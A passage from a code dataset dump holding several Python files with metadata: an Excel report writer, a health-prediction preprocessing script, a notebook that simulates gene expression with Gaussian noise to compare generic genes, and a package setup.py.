col+1 \n ws.cell(row=success_rate_row, column=col).value = constant.week_dict['weeklySuccessRatePer']\n ws.cell(row=success_rate_row, column=col+1).value = constant.week_dict['weeklyFailureRatePer']\n \n success_rate_row = success_rate_row+1\n ws.cell(row=success_rate_row, column=col).value = success_rate\n ws.cell(row=success_rate_row, column=col+1).value = failure_rate\n self.excel_style.border(ws, 'thin', \"000000\", start_row, success_rate_row, 1, col+1)\n self.excel_style.style(ws, start_row, start_row, col, col+1, 11.14, 'Arial', 10, '808080', \"solid\", 'center')\n\n '''Used for writing daily and weekly report to excel'''\n def write_in_excel(self):\n workbook_name = constant.WORKBOOK_NAME+'_'+str(self.today)\n self.create_excel(constant.DAILY_REPORT, workbook_name, self.today.strftime(\"%d-%b-%Y\"))\n print(\"current directory : {}\".format(os.getcwd()))\n daily_sheet = os.getcwd()+'/'+constant.DAILY_REPORT+'/'+workbook_name+'.xlsx'\n print(\"daily sheet : {}\".format(daily_sheet))\n daily_wb = load_wb(daily_sheet)\n daily_ws = daily_wb.worksheets[0]\n daily_row = 1\n daily_col = 1\n \n self.ws_header(daily_ws, daily_row, daily_col)\n\n week = self.today.isocalendar()[1]\n worksheet_name = \"week-\"+str(week)\n workbook_name = \"WeeklyReport_\"+str(week)\n self.create_excel(constant.WEEKLY_REPORT, workbook_name, worksheet_name)\n\n weekly_sheet = os.getcwd()+'/'+constant.WEEKLY_REPORT+'/'+workbook_name+'.xlsx'\n print(\"weekly sheet : {}\".format(weekly_sheet))\n weekly_wb = load_wb(weekly_sheet)\n weekly_ws = weekly_wb.worksheets[0]\n weekly_row = 1\n weekly_col = 1\n\n self.ws_header(weekly_ws, weekly_row, weekly_col)\n daily_wb.save(daily_sheet)\n weekly_wb.save(weekly_sheet)\n\n '''Creates excel output sheet to the destination path'''\n def create_excel(self, folder_name, workbook_name, worksheet_name):\n folder_path = os.getcwd()+'/'+folder_name\n if not os.path.exists(folder_path):\n self.check_directory(folder_path)\n output_excel_path = folder_path+'/'+workbook_name+'.xlsx'\n if not os.path.isfile(output_excel_path):\n self.check_excel_sheet(output_excel_path, worksheet_name)\n\n\n\n\n\n", "sub_path": "CreateReadWriteInExcel.py", "file_name": "CreateReadWriteInExcel.py", "file_ext": "py", "file_size_in_byte": 10733, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.date.today", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pandas.ExcelWriter", "line_number": 26, "usage_type": "call"}, {"api_name": "openpyexcel.Workbook", "line_number": 28, "usage_type": "name"}, {"api_name": "openpyexcel.load_workbook", "line_number": 28, "usage_type": "call"}, {"api_name": "openpyexcel.Workbook.worksheets", "line_number": 29, "usage_type": "attribute"}, {"api_name": "openpyexcel.Workbook", "line_number": 29, "usage_type": "name"}, {"api_name": "openpyexcel.Workbook.save", "line_number": 31, "usage_type": "call"}, {"api_name": "openpyexcel.Workbook", "line_number": 31, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 35, "usage_type": "call"}, {"api_name": "constants.SERVICE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "constants.total_req", "line_number": 71, "usage_type": "attribute"}, {"api_name": "constants.total_req", "line_number": 74, "usage_type": "attribute"}, {"api_name": "constants.total_req", "line_number": 77, "usage_type": "attribute"}, {"api_name": "constants.total_service", "line_number": 89, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 90, "usage_type": "name"}, {"api_name": "constants.week_dict", "line_number": 117, "usage_type": "attribute"}, {"api_name": "constants.total_service", "line_number": 119, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 121, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 123, "usage_type": "name"}, {"api_name": "constants.week_dict", "line_number": 127, "usage_type": "attribute"}, {"api_name": "constants.total_service", "line_number": 129, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 131, "usage_type": "name"}, {"api_name": "constants.week_dict", "line_number": 134, "usage_type": "attribute"}, {"api_name": "constants.total_service", "line_number": 136, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 138, "usage_type": "name"}, {"api_name": "constants.week_dict", "line_number": 141, "usage_type": "attribute"}, {"api_name": "constants.week_dict", "line_number": 146, "usage_type": "attribute"}, {"api_name": "constants.week_dict", "line_number": 156, "usage_type": "attribute"}, {"api_name": "constants.week_dict", "line_number": 157, "usage_type": "attribute"}, {"api_name": "constants.TOTAL_REQUEST", "line_number": 161, "usage_type": "attribute"}, {"api_name": "constants.TOTAL_RESPONSE", "line_number": 163, "usage_type": "attribute"}, {"api_name": "constants.SUCCESS_RATE", "line_number": 165, "usage_type": "attribute"}, {"api_name": "constants.total_service", "line_number": 176, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 178, "usage_type": "name"}, {"api_name": "constants.total_service", "line_number": 180, "usage_type": "name"}, {"api_name": "constants.week_dict", "line_number": 187, "usage_type": "attribute"}, {"api_name": "constants.week_dict", "line_number": 191, "usage_type": "attribute"}, {"api_name": "constants.week_dict", "line_number": 192, "usage_type": "attribute"}, {"api_name": "constants.WORKBOOK_NAME", "line_number": 202, "usage_type": "attribute"}, {"api_name": "constants.DAILY_REPORT", "line_number": 203, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 204, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 205, "usage_type": "call"}, {"api_name": "constants.DAILY_REPORT", "line_number": 205, "usage_type": "attribute"}, {"api_name": "openpyexcel.load_workbook", "line_number": 207, "usage_type": "call"}, {"api_name": "constants.WEEKLY_REPORT", "line_number": 217, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 219, "usage_type": "call"}, {"api_name": "constants.WEEKLY_REPORT", "line_number": 219, "usage_type": "attribute"}, {"api_name": "openpyexcel.load_workbook", "line_number": 221, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 236, "usage_type": "call"}, {"api_name": "os.path", "line_number": 236, "usage_type": "attribute"}]} {"seq_id": "380947319", "text": "\"\"\"\n2018-06-28\n\nhealth prediction\ndata processing\n\n1. select all of data or dropna data or fill data\n2. padding \n3. split train and test data set\n\nby Donghoon Oh\n\"\"\"\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import normalize\n\ndata_dir = '../data/'\n\nall_data_path = os.path.join(data_dir, 'all_hadm_data')\ndropna_data_path = os.path.join(data_dir, 'dropna_hadm_data')\nfill_data_path = os.path.join(data_dir, 'fill_hadm_data')\n\n# Convert hdam csv data to numpy array data set\ndef csv2npy(data_select):\n\n#input feature : age, gender, \n# glucose,\n# total_chol, hdl_c, chol_ratio, ldl_c,\n# triglyseride, troponin,\n# temp, heart_rate,\n# sysbp, diasbp (blood pressure)\n#\n#target feature : input feature without age, gender\n#\n#input : [time_step, dim_input_feature]\n#target : [dim_target_feature]\n\n# select data set \n if data_select == 'dropna':\n data_path = dropna_data_path\n elif data_select == 'all':\n data_path = all_data_path\n elif data_select == 'fill':\n data_path = fill_data_path\n \n input_set = []\n target_set = []\n print('\\nStart read data of hadm\\n')\n for i,f in enumerate(os.listdir(data_path)):\n if i%1000 == 0:\n print('{}/{}'.format(i, len(os.listdir(data_path))))\n data = np.genfromtxt(os.path.join(data_path,f), delimiter=',', skip_header=1, filling_values=-1)[:,3:]\n if not len(data) > 201: # set max time step\n input_set.append(data[:-1])\n target_set.append(data[-1,2:])\n\n input_set = np.asarray(input_set)\n target_set = np.asarray(target_set)\n\n print('shape input : {}'.format(input_set.shape))\n print('shape target : {}'.format(target_set.shape))\n\n # make npy type data sets\n np.save(os.path.join(data_dir,(data_select+'_input')), input_set)\n np.save(os.path.join(data_dir,(data_select+'_target')), target_set)\n \n print('Finished converting csv to numpy array data set')\n\n# Read numpy array type data set\n# Make input and target data set\ndef read_data(data_select):\n print('Read data set')\n input_data_path = os.path.join(data_dir, (data_select+'_input.npy'))\n target_data_path = os.path.join(data_dir, (data_select+'_target.npy'))\n\n input_data_set = np.load(input_data_path)\n target_data_set = np.load(target_data_path)\n \n print('shape input : {}'.format(input_data_set.shape))\n print('shape target : {}'.format(target_data_set.shape))\n \n return input_data_set, target_data_set\n\ndef feature_normalization(data_set):\n \n if len(data_set.shape) == 2:\n # for ensemble inputs\n # [num_data, dim_feature]\n data_set = normalize(data_set, axis=0)\n \n else:\n #for tsl inputs (time series) \n # [num_data, time_step, dim_feature]\n for i in range(len(data_set)):\n data_set[i] = normalize(data_set[i], axis=0)\n\n normalized_data_set = data_set\n print('normalized data set : {}'.format(normalized_data_set.shape))\n \n return normalized_data_set\n\n# zero padding and get real sequence length\ndef padding(data_set):\n\n max_ts = 0\n for data in data_set:\n if max_ts < len(data):\n max_ts = len(data)\n print('max time step : {}'.format(max_ts))\n\n print('padding input data set')\n seq_len = []\n pad_data_set = []\n for i in range(len(data_set)):\n seq_len.append(len(data_set[i]))\n tmp = np.zeros((max_ts, data_set[i].shape[1]))\n tmp[:data_set[i].shape[0],:data_set[i].shape[1]] = data_set[i]\n pad_data_set.append(tmp)\n\n pad_data_set = np.asarray(pad_data_set)\n print('shape of total input data : {}'.format(pad_data_set.shape))\n return pad_data_set, seq_len\n\n# split train and test set\n# split train set to each of models train set\ndef split_data(input_set, target_set, seq_len, model):\n\n print('split train and test set')\n input_train, input_test, target_train, target_test, seq_train, seq_test = train_test_split(\n input_set, target_set, seq_len, test_size=0.1, random_state=42)\n \n print('shape of input train : {}'.format(input_train.shape))\n print('shape of target train : {}'.format(target_train.shape))\n print('shape of input test : {}'.format(input_test.shape))\n print('shape of target test : {}'.format(target_test.shape))\n\n if not model == 'ensemble':\n\n # num of models of hospital : 3\n split_flag = int(len(input_train)/3)\n print(split_flag)\n\n if model=='A':\n input_train = input_train[:split_flag]\n target_train = target_train[:split_flag]\n seq_train = seq_train[:split_flag]\n\n elif model=='B':\n input_train = input_train[split_flag:split_flag*2]\n target_train = target_train[split_flag:split_flag*2]\n seq_train = seq_train[split_flag:split_flag*2]\n\n elif model=='C':\n input_train = input_train[split_flag*2:]\n target_train = target_train[split_flag*2:]\n seq_train = seq_train[split_flag*2:]\n \n # make npy type data sets\n #np.save(os.path.join(data_dir,(data_select+'_input')), input_set)\n #np.save(os.path.join(data_dir,(data_select+'_target')), target_set)\n \n \n return input_train, input_test, target_train, target_test, seq_train, seq_test\n\n'''\ncsv2npy('fill')\ninput_set, target_set = read_data('fill')\npad_input_set, seq_len = padding(input_set)\n\ninput_train, input_test, target_train, target_test, seq_train, seq_test = split_data(pad_input_set, target_set, seq_len,'A')\n'''\n", "sub_path": "code/data_preprocessing.py", "file_name": "data_preprocessing.py", "file_ext": "py", "file_size_in_byte": 5669, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 52, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 92, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 123, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 132, "usage_type": "call"}]} {"seq_id": "84983197", "text": "# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.9.1+dev\n# kernelspec:\n# display_name: Python [conda env:generic_expression] *\n# language: python\n# name: conda-env-generic_expression-py\n# ---\n\n# # Examine simulation approach\n#\n# **Question:** Can we separate between generic and specific genes by adding gaussian noise to simulate experiments? Does VAE approach recapitulate generic genes better than gaussian noise approach?\n#\n# To answer this question we will compare how well SOPHIE (VAE approach) can recapitulate manually curated generic genes (Crow et al.) compared to generic genes generated using noise approach\n#\n# In this notebook we will:\n# 1. Generate the noise simulated experiments\n# 2. Compare generic genes against Crow et al. generic genes\n# 3. Compare SOPHIE vs Crow et al. results against noise vs Crow et al. results. The results for SOPHIE vs Crow et al. can be found [here](http://localhost:8888/notebooks/human_general_analysis/2_identify_generic_genes_pathways.ipynb).\n\n# +\n# %load_ext autoreload\n# %load_ext rpy2.ipython\n# %autoreload 2\n\nimport os\nimport sys\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport scipy.stats as ss\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom rpy2.robjects import pandas2ri\nfrom ponyo import utils\nfrom generic_expression_patterns_modules import process, stats, ranking\n\npandas2ri.activate()\n\nnp.random.seed(123)\n\n# +\n# Read in config variables\nbase_dir = os.path.abspath(os.path.join(os.getcwd(), \"../\"))\n\nconfig_filename = os.path.abspath(\n os.path.join(base_dir, \"configs\", \"config_human_general.tsv\")\n)\n\nparams = utils.read_config(config_filename)\n\n# +\n# Load params\nlocal_dir = params[\"local_dir\"]\nproject_id = params[\"project_id\"]\ndataset_name = params[\"dataset_name\"]\nmapped_template_filename = params[\"mapped_template_filename\"]\nprocessed_template_filename = params[\"processed_template_filename\"]\nnum_runs = params[\"num_simulated\"]\ncol_to_rank_genes = params[\"rank_genes_by\"]\ncount_threshold = params[\"count_threshold\"]\nlogFC_name = params[\"DE_logFC_name\"]\npvalue_name = params[\"DE_pvalue_name\"]\n\n# Set mean and standard deviation for noise distribution\n# Here I played around with different sigma values\nmu = 0\nsigma = 1000\n\n# Load metadata file with grouping assignments for samples\nsample_id_metadata_filename = os.path.join(\n base_dir, dataset_name, \"data\", \"metadata\", f\"{project_id}_process_samples.tsv\"\n)\n\n# Load metadata file with grouping assignments for samples\nmetadata_filename = os.path.join(\n base_dir, dataset_name, \"data\", \"metadata\", f\"{project_id}_groups.tsv\"\n)\n\n# Percentile threshold to identify generic genes\npercentile_threshold = 80.0\n# -\n\n# Output files\ngene_summary_filename = os.path.join(\n base_dir, dataset_name, f\"generic_gene_summary_{project_id}_noise_model.tsv\"\n)\n\n# ## Simulate data using noise approach\n#\n# 1. Start with template experiment\n# 2. Add gaussian noise vector to each sample\n# 3. Process simulated data to remove any unnecessary samples\n\n# Create subdirectory: \"<local_dir>/pseudo_experiment_noise/\"\nos.makedirs(os.path.join(local_dir, \"pseudo_experiment_noise\"), exist_ok=True)\n\nmapped_template = pd.read_csv(mapped_template_filename, sep=\"\\t\", index_col=0, header=0)\n\n# Simulate data by adding noise\nfor i in range(num_runs):\n simulated_data_filename = os.path.join(\n local_dir,\n \"pseudo_experiment_noise\",\n f\"selected_simulated_data_{project_id}_{i}.txt\",\n )\n\n noise = np.random.normal(mu, sigma, mapped_template.shape)\n\n simulated_data = mapped_template + noise\n\n # Set any negative counts to 0\n simulated_data[simulated_data < 0] = 0\n\n simulated_data.to_csv(simulated_data_filename, sep=\"\\t\")\n\n# ### Examine distribution of template data\n#\n# We want to play around with the amount of noise that we add and so it would be a good idea to know what the distribution looks like for the original data\n\nprint(mapped_template.mean().mean())\nsns.displot(mapped_template.mean())\nplt.title(\"Mean gene expression for template experiment\")\n\nprint(mapped_template.std().mean())\nsns.displot(mapped_template.std())\nplt.title(\"Std gene expression for template experiment\")\n\n# ## Quick check\n#\n# Check that we are producing distinct simulated experiments (i.e. that we are not getting the same values for each simulated experiment)\n#\n# Here I randomly selected two different simulated experiments. File names for the simulated experiments have the following format `selected_simulated_data_{project_id}_<unique identifier>_processed.txt`. I selected two simulated experiments by their integer identifier.\n\nmapped_template.head()\n\n# +\nsimulated_data_filename_0 = os.path.join(\n local_dir,\n \"pseudo_experiment_noise\",\n f\"selected_simulated_data_{project_id}_0_processed.txt\",\n)\n\nsimulated_0 = pd.read_csv(simulated_data_filename_0, sep=\"\\t\", index_col=0, header=0)\n\nsimulated_0.head()\n\n# +\nsimulated_data_filename_20 = os.path.join(\n local_dir,\n \"pseudo_experiment_noise\",\n f\"selected_simulated_data_{project_id}_20_processed.txt\",\n)\n\nsimulated_20 = pd.read_csv(simulated_data_filename_20, sep=\"\\t\", index_col=0, header=0)\n\nsimulated_20.head()\n# -\n\n# ## Process template and simulated experiments\n#\n# * Remove samples not required for comparison\n# * Make sure ordering of samples matches metadata for proper comparison\n# * Make sure values are cast as integers for using DESeq\n# * Filter lowly expressed genes for using DESeq\n\n# +\nif not os.path.exists(sample_id_metadata_filename):\n sample_id_metadata_filename = None\n\nstats.process_samples_for_DESeq(\n mapped_template_filename,\n metadata_filename,\n processed_template_filename,\n count_threshold,\n sample_id_metadata_filename,\n)\n\nfor i in range(num_runs):\n simulated_filename = os.path.join(\n local_dir,\n \"pseudo_experiment_noise\",\n f\"selected_simulated_data_{project_id}_{i}.txt\",\n )\n out_simulated_filename = os.path.join(\n local_dir,\n \"pseudo_experiment_noise\",\n f\"selected_simulated_data_{project_id}_{i}_processed.txt\",\n )\n stats.process_samples_for_DESeq(\n simulated_filename,\n metadata_filename,\n out_simulated_filename,\n count_threshold,\n sample_id_metadata_filename,\n )\n# -\n\n# ## Differential expression analysis\n#\n# The gene expression dataset is using RNA-seq so we will use DESeq2 in this case\n\n# Create subdirectory: \"<local_dir>/DE_stats/\"\nos.makedirs(os.path.join(local_dir, \"DE_stats\"), exist_ok=True)\n\n# + magic_args=\"-i metadata_filename -i project_id -i processed_template_filename -i local_dir -i base_dir\" language=\"R\"\n#\n# source(paste0(base_dir, '/generic_expression_patterns_modules/DE_analysis.R'))\n#\n# # File created: \"<local_dir>/DE_stats/DE_stats_template_data_<project_id>_real.txt\"\n# get_DE_stats_DESeq(metadata_filename,\n# project_id,\n# processed_template_filename,\n# \"template\",\n# local_dir,\n# \"real\")\n\n# +\n# Check number of DEGs\ntemplate_DE_stats_filename = os.path.join(\n local_dir, \"DE_stats\", f\"DE_stats_template_data_{project_id}_real.txt\"\n)\n\ntemplate_DE_stats = pd.read_csv(\n template_DE_stats_filename, sep=\"\\t\", header=0, index_col=0\n)\n\nselected = template_DE_stats[\n (template_DE_stats[\"padj\"] < 0.01) & (abs(template_DE_stats[\"log2FoldChange\"]) > 1)\n]\nprint(selected.shape)\n\n# + magic_args=\"-i metadata_filename -i project_id -i base_dir -i local_dir -i num_runs\" language=\"R\"\n#\n# source(paste0(base_dir, '/generic_expression_patterns_modules/DE_analysis.R'))\n#\n# # Files created: \"<local_dir>/DE_stats/DE_stats_simulated_data_SRP012656_<n>.txt\"\n# for (i in 0:(num_runs-1)){\n# simulated_data_filename <- paste(local_dir,\n# \"pseudo_experiment_noise/selected_simulated_data_\",\n# project_id,\n# \"_\",\n# i,\n# \"_processed.txt\",\n# sep = \"\")\n#\n# get_DE_stats_DESeq(metadata_filename,\n# project_id,\n# simulated_data_filename,\n# \"simulated\",\n# local_dir,\n# i)\n# }\n# -\n\n# ## Rank genes\n\nanalysis_type = \"DE\"\ntemplate_DE_stats, simulated_DE_summary_stats = ranking.process_and_rank_genes_pathways(\n template_DE_stats_filename,\n local_dir,\n num_runs,\n project_id,\n analysis_type,\n col_to_rank_genes,\n logFC_name,\n pvalue_name,\n)\n\n# ## Gene summary table\n#\n# Note: Using DESeq, genes with NaN in `Adj P-value (Real)` column are those genes flagged because of the `cooksCutoff` parameter. The cook's distance as a diagnostic to tell if a single sample has a count which has a disproportionate impact on the log fold change and p-values. These genes are flagged with an NA in the pvalue and padj columns of the result table. For more information you can read [DESeq FAQs](https://bioconductor.org/packages/release/bioc/vignettes/DESeq2/inst/doc/DESeq2.html#pvaluesNA)\n\n# +\nsummary_gene_ranks = ranking.generate_summary_table(\n template_DE_stats_filename,\n template_DE_stats,\n simulated_DE_summary_stats,\n col_to_rank_genes,\n local_dir,\n \"gene\",\n params,\n)\n\nsummary_gene_ranks.head()\n# -\n\nsummary_gene_ranks.isna().any()\n\n# Create `gene_summary_filename`\nsummary_gene_ranks.to_csv(gene_summary_filename, sep=\"\\t\")\n\n# ## Compare gene ranking\n# Studies have found that some genes are more likely to be differentially expressed even across a wide range of experimental designs. These *generic genes* are not necessarily specific to the biological process being studied but instead represent a more systematic change.\n#\n# We want to compare the ability to detect these generic genes using our method vs those found by [Crow et. al. publication](https://www.pnas.org/content/pnas/116/13/6491.full.pdf). Their genes are ranked 0 = not commonly DE; 1 = commonly DE. Genes by the number differentially expressed gene sets they appear in and then ranking genes by this score.\n\n# +\n# Get generic genes identified by Crow et. al.\nDE_prior_filename = params[\"reference_gene_filename\"]\nref_gene_col = params[\"reference_gene_name_col\"]\nref_rank_col = params[\"reference_rank_col\"]\n\nfigure_filename = f\"gene_ranking_{col_to_rank_genes}.svg\"\n\ncorr, shared_ranking = ranking.compare_gene_ranking(\n summary_gene_ranks, DE_prior_filename, ref_gene_col, ref_rank_col, figure_filename\n)\n\n# +\n# Hypergeometric test:\n# Given N number of genes with K common genes in Crow et al.\n# SOPHIE identifies n genes as being common\n# What is the probability that k of the genes identified by SOPHIE\n# are also common in Crow et al.? What is the probability of drawing\n# k or more concordant genes?\n\nnum_Crow_genes = shared_ranking.shape[0]\nnum_generic_Crow_genes = shared_ranking.query(f\"{ref_rank_col}>=80.0\").shape[0]\nnum_generic_noise_genes = shared_ranking[\n shared_ranking[\"Percentile (simulated)\"] >= percentile_threshold\n].shape[0]\nnum_concordant_generic_genes = shared_ranking[\n (shared_ranking[ref_rank_col] >= percentile_threshold)\n & (shared_ranking[\"Percentile (simulated)\"] >= percentile_threshold)\n].shape[0]\n# -\n\nprint(num_Crow_genes)\nprint(num_generic_Crow_genes)\nprint(num_generic_noise_genes)\nprint(num_concordant_generic_genes)\n\np = ss.hypergeom.sf(\n num_concordant_generic_genes,\n num_Crow_genes,\n num_generic_Crow_genes,\n num_generic_noise_genes,\n)\nprint(p)\n\n# **Takeaway**\n# * Looks like noise and VAE can both recapitulate generic genes, which is expected.\n# * Looks like template experiment already expresses generic genes (refer to other [notebook](comparisons_against_template.ipynb), so adding a small amount of noise (Normal(0,2)) will still find these generic results. This is expected, given that generic genes are \"generic\" because they are found across many experiments.\n# * The reason that we think that generic genes are found by both the VAE approach and this noise approach is because they are \"generic\". So these generic signals are already found to exist across many experiments and by adding noise to the experiments we are disrupting that signal a bit but its still there.\n#\n# The benefit to using a VAE, presumably, is that the VAE will allow us to identify those specific genes by generating different types of experiments, where as the noise approach is limited to generating the same experiment but with different amounts of noise added.\n#\n# So, what we really want to determine is if SOPHIE can better **separate** between generic and specific genes. To do this, we would need a gold standard for what are specific genes for some experiment, which we do not have. So for now we will leave the experiment as is.\n", "sub_path": "explore_simulation_approach/simulate_and_identify_generic_genes_using_noise_approach.py", "file_name": "simulate_and_identify_generic_genes_using_noise_approach.py", "file_ext": "py", "file_size_in_byte": 12972, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rpy2.robjects.pandas2ri.activate", "line_number": 44, "usage_type": "call"}, {"api_name": "rpy2.robjects.pandas2ri", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "ponyo.utils.read_config", "line_number": 56, "usage_type": "call"}, {"api_name": "ponyo.utils", "line_number": 56, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 114, "usage_type": "attribute"}, {"api_name": "seaborn.displot", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "seaborn.displot", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "generic_expression_patterns_modules.stats.process_samples_for_DESeq", "line_number": 177, "usage_type": "call"}, {"api_name": "generic_expression_patterns_modules.stats", "line_number": 177, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path", "line_number": 191, "usage_type": "attribute"}, {"api_name": "generic_expression_patterns_modules.stats.process_samples_for_DESeq", "line_number": 196, "usage_type": "call"}, {"api_name": "generic_expression_patterns_modules.stats", "line_number": 196, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 230, "usage_type": "call"}, {"api_name": "generic_expression_patterns_modules.ranking.process_and_rank_genes_pathways", "line_number": 265, "usage_type": "call"}, {"api_name": "generic_expression_patterns_modules.ranking", "line_number": 265, "usage_type": "name"}, {"api_name": "generic_expression_patterns_modules.ranking.generate_summary_table", "line_number": 281, "usage_type": "call"}, {"api_name": "generic_expression_patterns_modules.ranking", "line_number": 281, "usage_type": "name"}, {"api_name": "generic_expression_patterns_modules.ranking.compare_gene_ranking", "line_number": 312, "usage_type": "call"}, {"api_name": "generic_expression_patterns_modules.ranking", "line_number": 312, "usage_type": "name"}, {"api_name": "scipy.stats.hypergeom.sf", "line_number": 340, "usage_type": "call"}, {"api_name": "scipy.stats.hypergeom", "line_number": 340, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 340, "usage_type": "name"}]} {"seq_id": "567026598", "text": "from setuptools import setup\n\ntry:\n long_description = open('README').read()\nexcept:\n long_description = ''\n\nsetup(\n name = 'efzp',\n version = '1.1.1',\n description = 'Describe an email in terms of salutation, body, signature, reply text etc.',\n author = 'Dave Trindall',\n url = 'https://github.com/Trindaz/EFZP',\n packages = ['efzp'],\n license = 'Apache License 2.0',\n)\n\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", 